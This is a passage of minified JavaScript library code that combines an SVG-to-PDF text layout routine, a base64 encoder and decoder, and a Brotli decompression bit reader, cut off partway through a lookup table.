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EAAI,EAC5D,EAAG,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAC5D,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAC5D,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAC5D,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAC5D,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAC5D,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAI,GAAK,EAE7D,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAC7C,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAC7C,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAC7C,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAE7C,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAC7C,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAC7C,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAAG,EAC7C,EAAG,EAAG,E